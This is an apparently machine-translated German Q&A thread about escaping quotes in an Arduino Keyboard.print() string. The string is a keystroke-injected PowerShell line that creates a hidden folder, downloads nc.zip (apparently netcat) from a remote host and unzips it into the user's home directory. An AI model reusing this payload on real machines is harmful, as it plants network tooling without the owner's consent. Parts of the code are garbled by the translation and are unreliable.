2016-12-16 2 views
-1

Ich versuche, mehrere Anführungszeichen in einer Keyboard.print() Funktion zu drucken, aber wenn ich versuche, das Zeichen mit \ at $output =\"$HOME\Misc\nc.zip\"" zu entkommen und die Zeichenfolge wird nicht von der ID erkannt. Normalerweise, wenn die ID weiß, dass es eine Zeichenkette ist, hebt sie den Text in Blau hervor, macht das nicht für $ output und after $ output, wie kann ich die ide erkennen, jedes maskierte Zeichen als eine Zeichenkette zu erkennen, die nur die Hälfte erkennt.Was ist die String-Grenze mit dem Arduino-IDE?

Keyboard.print("\"cd $HOME\""; $folder=mkdir \"Misc\""; $folder; $url=\"https://test.org/cc.zip\""; $output =\"$HOME\Misc\nc.zip\""; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\Misc\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\Misc\").CopyHere($item)}"); 

enter image description here

enter image description here

+2

Soll das wirklich C sein? Auch ohne zu wissen, was es ist, sieht es aus wie ein fehlendes ')' in der Nähe des Starts. Oder ist es eins zu viele '' 'nach HOME? Ohne zu wissen, was Sie versuchen zu drucken, ist es schwer zu sagen! – John3136

+0

nicht was ist in der Zeichenfolge aber die Keyboard.print() ja – Katz

+0

Entschuldigung Ich habe den Code, den es hat Ich versuche, eine Powershell-Zeile zu drucken, aber ich glaube nicht, dass das wichtig ist, weil ich es als String ausgeben möchte, und ich möchte auch, dass die doppelten Anführungszeichen eingeschlossen werden, wenn ich diese Zeile drucke. Ich habe gelesen und einige empfehlen, \ "\" "zu verwenden, um Anführungszeichen zu drucken, aber es funktioniert nicht @ John3136 – Katz

Antwort

3

Sie haben zwei doppelte Anführungszeichen " nach HOME. Die erste Zeile wird mit Escapezeichen versehen (und so gedruckt), aber die zweite Zeile beendet die Zeichenfolge, sodass die ; $folder=mkdir nicht Teil der zu druckenden Zeichenfolge ist. Es wird erwartet, dass sie gültig ist.

Die IDE versucht, das herauszufinden aus, aber ist nicht gültig C und so wird es verwirrt.

Dies ist ein gutes Beispiel für die IDE, die Ihnen tatsächlich hilft. Die IDE hat ein Problem bemerkt und es für Sie hervorgehoben!

+0

okay, jetzt ist es so 'Keyboard.print (\ "cd $ HOME \"; $ ordner = mkdir \ "Misc \"; $ ordner; $ url = \ "foobar/test-.zip \ ""; "$ output = \" $ HOME \ Verschiedenes \ nc.zip \ "; (New-Objekt System.Net.WebClient) .DownloadFile ($ url, $ output); $ shell = NewObject - ComObject shell.application; $ zip = $ shell. NameSpace ($ HOME \ Misc \ nc.zip \ ") foreach ($ item in $ zip.items()) {$ shell.NameSpace (\" $ HOME \ Misc \ "). CopyHere ($ item)}) ; und denkt immer noch, dass die Zeichenfolge nur $ – Katz

+0

Ausgabe ist, weil Sie das gleiche Problem haben (2 Anführungszeichen) nach "test-.zip" – John3136

+0

Wenn ich das Zitat aus der Zeichenfolge nicht als Zeichenfolge erkannt habe, fügte ich zwei hinzu Bilder oben, damit Sie Unterschiede sehen können, wenn Blau weiß, dass es eine Zeichenkette ist, wenn es nicht blau ist, ist es keine Zeichenkette. – Katz